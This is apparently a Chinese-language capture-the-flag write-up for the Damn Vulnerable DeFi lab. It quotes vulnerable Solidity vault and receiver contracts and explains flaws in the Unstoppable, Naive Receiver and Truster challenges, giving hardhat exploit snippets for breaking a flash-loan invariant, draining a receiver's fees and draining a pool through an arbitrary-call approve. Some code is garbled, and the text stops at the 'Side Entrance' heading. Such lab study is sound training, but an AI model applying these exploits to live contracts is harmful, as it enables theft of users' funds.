Damn Vulnerable DeFi

UnstoppableVault

源码


pragma solidity
{ #0}
.8.0;

import "solmate/src/utils/FixedPointMathLib.sol";
import "solmate/src/utils/ReentrancyGuard.sol";
import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol";
import "solmate/src/auth/Owned.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

/**
 * @title UnstoppableVault
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    uint256 public constant FEE_FACTOR = 0.05 ether;
    uint64 public constant GRACE_PERIOD = 30 days;

    uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;

    address public feeRecipient;

    error InvalidAmount(uint256 amount);
    error InvalidBalance();
    error CallbackFailed();
    error UnsupportedCurrency();

    event FeeRecipientUpdated(address indexed newFeeRecipient);

    constructor(ERC20 _token, address _owner, address _feeRecipient)
        ERC4626(_token, "Oh Damn Valuable Token", "oDVT")
        Owned(_owner)
    {
        feeRecipient = _feeRecipient;
        emit FeeRecipientUpdated(_feeRecipient);
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function maxFlashLoan(address _token) public override view returns (uint256) {
        if (address(asset) != _token)
            return 0;

        return totalAssets();
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function flashFee(address _token, uint256 _amount) public override view returns (uint256 fee) {
        if (address(asset) != _token)
            revert UnsupportedCurrency();

        if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
            return 0;
        } else {
            return _amount.mulWadUp(FEE_FACTOR);
        }
    }

    function setFeeRecipient(address _feeRecipient) external onlyOwner {
        if (_feeRecipient != address(this)) {
            feeRecipient = _feeRecipient;
            emit FeeRecipientUpdated(_feeRecipient);
        }
    }

    /**
     * @inheritdoc ERC4626
     */
    function totalAssets() public view override returns (uint256) {
        assembly { // better safe than sorry
            if eq(sload(0), 2) {
                mstore(0x00, 0xed3ba6a6)
                revert(0x1c, 0x04)
            }
        }
        return asset.balanceOf(address(this));
    }

    /**
     * @inheritdoc IERC3156FlashLender
     */
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address _token,
        uint256 amount,
        bytes calldata data
    ) external override returns (bool) {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
        uint256 fee = flashFee(_token, amount);
        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);
        // callback must return magic value, otherwise assume it failed
        if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
            revert CallbackFailed();
        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);
        return true;
    }

    /**
     * @inheritdoc ERC4626
     */
    function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}

    /**
     * @inheritdoc ERC4626
     */
    function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {}
}
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solmate/src/auth/Owned.sol";
import { UnstoppableVault, ERC20 } from "./UnstoppableVault.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
    UnstoppableVault private immutable pool;

    error UnexpectedFlashLoan();

    constructor(address poolAddress) Owned(msg.sender) {
        pool = UnstoppableVault(poolAddress);
    }

    function onFlashLoan (
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external override returns (bytes32) {
        if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0)
            revert UnexpectedFlashLoan();

        ERC20(token).approve(address(pool), amount);

        return keccak256("IERC3156FlashBorrower.onFlashLoan");
    }

    function executeFlashLoan(uint256 amount) external onlyOwner {
        address asset = address(pool.asset());
        pool.flashLoan(
            this,
            asset,
            amount,
            bytes("")
        );
    }
}

目的是让闪电贷不再正常使用,思路即是让闪电贷报错,关注到if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

anyliaze

  • totalAssets():计算的是当前金库中的资产代币数目
  • convertToShares(totalSupply):totalSupply是总的share代币数目(只有deposit或mint时才会产生),convertToShares就是计算:assets * totalSupply / totalAssets()

totalAssets是合约的总代币数量,而totalSupply是总的share代币数目,只会在mint和deposit调用时被改变,所以这里通过transfer直接给合约转账就能该改变totalassets而不会改变shares,从而让convertToShares(totalSupply) != balanceBefore产生revert。

exploit

  • 首先部署合约,给vault分配100000币,用户给10币,通过ReceiverUnstoppable能正常使用闪电贷功能。
  • 转账之后再调用flashloan则会报错。

nodejs这样写

it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        
        const attackTokenContract = token.connect(player);
        await attackTokenContract.transfer(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
    });

Naive receiver

闪电贷并没有验证谁调用的函数所以任何人都能代替接收者进行闪电贷,并且没有实际验证是否收到了贷款的eth.所以每次调用flashload传入reveiver的地址,就会让其向池子免费送一个eth,充当receiver调用十次闪电贷即可.

    it('Exploit', async function () {
        let tset = await ethers.provider.getBalance("0xdD2FD4581271e230360230F9337D5c0430Bf44C0")
        console.log(tset);
        /** CODE YOUR EXPLOIT HERE */ 
        let beforeBanlance = await ethers.provider.getBalance(receiver.address);
        console.log("[+] before exploit receiver.balance is " + beforeBanlance)
        const AttackFactory = await ethers.getContractFactory("AttackNaiveReceiver", player);
        const attackContract = await AttackFactory.deploy(pool.address);

        await attackContract.attack(receiver.address);
        let afterBanlance = await ethers.provider.getBalance(receiver.address);
        console.log("[+] after exploit receiver.balance is " + afterBanlance)
    });

truster

这里可以执行任意合约的任意函数,那就很容易了,把target设置为token,调用approve,给自己授予所有代币额度使用权,然后transfer全部转出来就行.

exp

        /** CODE YOUR EXPLOIT HERE  */

        const AttackTrusterDeployer = await ethers.getContractFactory("AttackTruster", player);
        const attackContract = await AttackTrusterDeployer.deploy(pool.address, token.address);

        const attackToken = token.connect(player);

        const amount = 0;
        const borrower = player.address;
        const target = token.address;

        // Create the ABI to approve the attacker to spend the tokens in the pool
        const abi = ["function approve(address,uint256)"]
        const iface = new ethers.utils.Interface(abi);
        const data = iface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL])

        await attackContract.attack(amount, borrower, target, data);
        
        const allowance = await attackToken.allowance(pool.address, player.address);
        const balance = await attackToken.balanceOf(player.address);
        const poolBalance = await attackToken.balanceOf(pool.address);

        console.log("BeforeAttacker balance:", balance.toString())
        console.log("Pool balance:", poolBalance.toString())
        console.log("Allowance:", allowance.toString());

        await attackToken.transferFrom(pool.address, player.address, allowance);
        const afterAttackbalance = await attackToken.balanceOf(player.address); 
        console.log("afterAttackbalance:", afterAttackbalance.toString());
    });

Side Entrance